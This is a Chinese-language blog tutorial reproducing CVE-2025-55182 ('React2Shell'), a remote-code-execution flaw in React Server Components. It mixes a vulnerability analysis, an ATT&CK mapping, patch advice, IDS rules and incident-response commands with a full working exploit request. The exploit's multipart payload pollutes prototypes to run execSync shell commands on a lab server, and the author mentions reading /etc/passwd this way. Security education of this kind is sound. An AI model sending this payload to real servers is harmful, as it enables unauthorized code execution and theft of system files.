CVE-2025-55182复现教程:如何利用 React 特性执行任意代码

0 阅读6分钟

react/CVE-2025-55182

1. 漏洞概述

漏洞 ID:CVE-2025-55182
别名:React2Shell
严重性:Critical (CVSS 10.0/10)
影响组件:React Server Components(RSC)中 react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack 等模块(19.0.0-19.2.0)
影响范围:任何通过 React Server Components(和基于其的框架如 Next.js/Parcel/Vite RSC)暴露的服务端函数端点
根本原因:对未经验证的 HTTP 请求 payload 进行了不安全的反序列化,导致任意代码执行(RCE)风险。(nvd.nist.gov)


2. 漏洞原理深度分析

✅ 堆栈上下文及缺陷本质

React Server Components 使用所谓的 Server Functions / Flight 协议 来将客户端意图(例如表单提交、API 调用等)包装成 HTTP 请求发送到服务器处理。受害代码尝试 将字符串化数据反序列化成对象 并执行逻辑,但没有做严格的结构和类型验证,就直接交给内部运行时解释与执行。(upguard.com)

漏洞本质属于 CWE-502: 不安全的反序列化(Unsafe Deserialization) ,攻击者能构造恶意序列化对象,其中带有非法字段(例如 __proto__, constructor, prototype 等),破坏对象原型并引入特制“Gadget 链”,最终调用危险功能如 child_process.exec, eval() 等执行任意 shell 代码。(upguard.com)

🔁 漏洞示意图(概念图)

┌─────────────┐           Malicious serialized
│  AttackerHTTP POST  payload w/ crafted __proto__
└──────┬──────┘  ---------> to React Server Function Endpoint
       │                          │
       │                          ▼
       │                   ┌─────────────────────────┐
       │                   │ React Server Component  │
       │                   │  (RSC Flight Handler)   │
       │                   └─────────────────────────┘
       │                           │
       │  Deserialization fails to validate
       │  unsafe fields, so
       ▼                           ▼
┌──────────────────────────────────────────────────────┐
│ Resulting polluted object proto chain leads execution │
│ of attacker’s controlled code via gadgets → RCE       │
└──────────────────────────────────────────────────────┘

3. 攻击链路构建(Kill Chain / STRIDE)

下面以典型 Web 服务利用路径(Internet-Facing React Server Components)构建攻击链路:

  1. 侦察 Reconnaissance

    • 枚举目标 React/Next.js 端点

    • 使用 HTTP 请求特征判断是否存在 RSC Server Function
      → 技术:网络扫描器、被动/主动服务探测

  2. 武器化 Weaponization

    • 构造恶意 payload(反序列化数据包含污染字段)

    • 设计 gadget 执行命令(shell、内存执行器)

  3. 传递 Delivery

    • 将恶意序列化参数通过 HTTP(POST/PUT)发送至 RSC 端点
  4. 利用 Exploitation(T1190)

    • 利用 unsafe deserialization 执行任意代码
  5. 执行 Execution(T1059, T1059.007)

    • 执行 shell 命令、启动 reverse shell 或 dropper
  6. 持续 Persistence & Lateral Movement

    • 安装后门、横向移动到内部环境
  7. 目标行为 Objective(Tactic: Impact)

    • 部署 cryptominer、信息窃取、数据破坏等 (upguard.com)

4. ATT&CK 战术与技术映射

ATT&CK 类别技术标识说明
初始访问 Initial AccessT1190公网应用漏洞利用
执行 ExecutionT1059 / T1059.007JavaScript 命令/脚本解释器执行
持久化 PersistenceT1547安装后门服务
横向移动 Lateral MovementT1021远程进程/服务交互
影响 ImpactT1490 / T1489数据破坏、拒绝服务
防御绕过 Defense EvasionT1562滥用序列化进行防护绕过

5. 修复建议

✅ 第一优先:升级组件

生态修复版本
React Server Components19.2.1
Next.js修补相关补丁次版本(见官方发布)

立即将以上受影响库升级至厂商修复版本并重新部署。

⚠️ 代码级修复原则(高层)

  1. 禁用 unsafe 反序列化
  2. 白名单字段解析
  3. 使用安全序列化库

示例伪代码:

// 不安全
const obj = JSON.parse(req.body.payload);

// 安全版
const safePayload = safeJsonParse(req.body.payload, {
  allowedFields: ["action", "params"],
  maxDepth: 5,
});

// 禁止 __proto_ 和 constructor 等
if (hasUnsafeProto(safePayload)) {
  throw new Error("Invalid payload");
}

6. 检测与防护规则 (IDS/EDR/SIEM)

🔎 网络层 NIDS 规则 (Snort / Suricata)

alert tcp any any -> any 80 (msg:"CVE-2025-55182 RCE suspicious Flight POST"; \
flow:to_server; content:"POST"; http_header; content:"application/json"; \
classtype:attempted-admin; sid:90055182; rev:1;)

🧠 应用层检测指纹

根据社区观察,大多数攻击使用 HTTP POST 携带异常序列化参数:

if HTTP_METHOD == POST and payload contains "__proto__" or "constructor" then
    alert("Possible React2Shell exploit attempt")

7. 应急响应流程与命令

🧩 事件确认

# 抓取可疑 HTTP 请求
tcpdump -s 0 -w exploit.pcap port 80 or port 443

🪲 可疑命令行为追踪

# 查询 Node.js 进程相关命令执行
grep -i "execSync" /var/log/app.log

🛠️ 主机隔离

# 断开受影响服务
systemctl stop myreactapp.service

🧑‍💻 取证收集

# 系统状态采集
ps aux > ps.txt
netstat -ntlp > netstat.txt

🧹 清理与恢复

# 删除后门
rm -rf /tmp/.malicious

关键素材总结

  • 官方发布摘要:该漏洞为 unauthenticated RCE,来源 unsafe deserialization。(nvd.nist.gov)

  • TEC/实战情报:漏洞已在全球被广泛利用,甚至用于部署 cryptominer、backdoor 等 payload。(macnica.co.jp)

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞复现

指纹识别结果。

Snipaste_2026-03-01_16-26-37.png

这是一个高达10.0高分的漏洞,官方提示除了更新补丁之外,似乎无法规避该漏洞的风险。由于该漏洞涉及原型污染链和内存马的高阶知识,而且利用方式模板比较单一(不包含执行命令等),所以直接利用官方的poc即可。

POST / HTTP/1.1
Host: 192.168.0.41:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 758

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{"then":"$B1337"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Snipaste_2026-03-01_16-50-46.png

可以看到我们的命令执行成功,通常”点到为止“就行了。但是本着练习靶场,拓宽思路的特点,我还尝试了其他命令。

Snipaste_2026-03-01_17-14-42.png 在执行cat /etc/passwd时,如果不base64输出,就无法在x-action-redirect后面看到我们所需要的东西。

Snipaste_2026-03-01_17-15-16.png 对需要查找的信息进行base64解码,便能够查看到我们所需要的东西。对于漏洞原理的分析其实腾讯肯恩实验室分析的文章写得非常到位,所以不在赘述,有需要的读者参考该链接[1]。

参考文章:
1.漏洞分析】CVE-2025-55182 React2shell远程代码执行解析 | 腾讯科恩实验室官方博客 keenlab.tencent.com/zh/2025/12/…

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。